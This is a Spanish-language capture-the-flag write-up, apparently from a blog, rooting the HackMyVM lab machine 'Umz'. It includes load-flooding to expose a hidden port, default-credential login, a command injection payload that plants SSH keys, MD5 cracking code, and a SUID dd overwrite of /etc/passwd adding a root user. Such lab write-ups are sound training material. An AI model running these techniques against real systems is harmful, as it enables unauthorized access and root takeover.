cd ~/blog

~/writeups/hmv/129-umz.md

129 - Umz

easy Linux hmv 24-06-2025
Stress-triggered hidden port (DoS simulation)Werkzeug debug console default creds + command injectionsudo md5sum file readSUID dd (/etc/passwd overwrite)
hackmyvm.eu/machines/machine.php?vm=Umz

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.11
...
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: cyber fortress 9000
...

Fuzzeando parámetros GET de index.php (buscando un LFI) damos con stress, que en realidad calcula los números primos hasta el número dado:

 ffuf -u 'http://192.168.1.11/index.php?FUZZ=../../../../etc/passwd' -w directory-list-2.3-small.txt -fs 2714
stress                  [Status: 200, ...]

No hay LFI, pero la home habla de ataques DDoS, así que simulamos carga con varias instancias de ffuf en paralelo contra stress:

 ffuf -u 'http://192.168.1.11/index.php?stress=FUZZ' -w ~/Documentos/wordlists/SecLists/Fuzzing/6-digits-000000-999999.txt -fs 2712

Cuando el servidor deja de responder, reescaneamos puertos hasta que aparece uno nuevo (8080):

 while true; do sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 03-allPorts-post-ddos 192.168.1.11 ; sleep 1; done
...
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
...

El puerto 8080 es un login Werkzeug (Debug Console); entramos con las credenciales por defecto admin:admin:

 whatweb http://192.168.1.11:8080/login
... Werkzeug[1.0.1] ... Title[Debug Console Login] ...

El panel hace ping, pero permite concatenar comandos (command injection):

192.168.1.6; id
...
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

Plantamos un authorized_keys en el home de welcome y entramos por SSH:

;mkdir /home/welcome/.ssh && echo 'ssh-rsa...' > /home/welcome/.ssh/authorized_keys

 ssh welcome@192.168.1.11 -i id_rsa_welcome
welcome@Umz:~$

Obtenemos la primera flag. En /opt/flask-debug hay un umz.pass que no podemos leer, pero sudo -l nos da md5sum:

welcome@Umz:/opt/flask-debug$ sudo -l
...
User welcome may run the following commands on Umz:
    (ALL) NOPASSWD: /usr/bin/md5sum

Obtenemos el MD5 del archivo y, como contiene un salto de línea, lo crackeamos con un script propio que añade \n:

welcome@Umz:/opt/flask-debug$ sudo md5sum umz.pass
a963fadd7fd379f9bc294ad0ba44f659  umz.pass
❯ cat crack_md5.py
import sys, hashlib
from tqdm import tqdm
with open(sys.argv[1], 'rt') as dic:
    words = dic.read().split()
    for word in tqdm(words):
        if hashlib.md5((word+"\n").encode()).hexdigest() == 'a963fadd7fd379f9bc294ad0ba44f659':
            print('[+] Found: ' + word); break

❯ python3 crack_md5.py /home/wh01s17/Documentos/wordlists/rockyou_utf8.txt
...
[+] Found: sunshine3
...

welcome@Umz:/home$ su umzyyds
Password: sunshine3
umzyyds@Umz:/home$

En el home de umzyyds hay un binario SUID Dashazi, que en realidad es dd renombrado:

umzyyds@Umz:~$ ./Dashazi --version
dd (coreutils) 8.30
...

dd permite escribir archivos, así que sobrescribimos /etc/passwd con un usuario UID 0:

umzyyds@Umz:~$ ./Dashazi if=/etc/passwd of=/tmp/passwd.bak status=none

 openssl passwd -1
Password: 1234
$1$/7FfToVh$E5ABpA40BkdHSLkRxykBG.

umzyyds@Umz:/tmp$ echo 'pwned:$1$/7FfToVh$E5ABpA40BkdHSLkRxykBG.:0:0:RePwned:/root:/bin/bash' >> passwd.mod
umzyyds@Umz:~$ ./Dashazi if=/tmp/passwd.mod of=/etc/passwd status=none

umzyyds@Umz:~$ su pwned
Password: 1234
root@Umz:/home/umzyyds#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados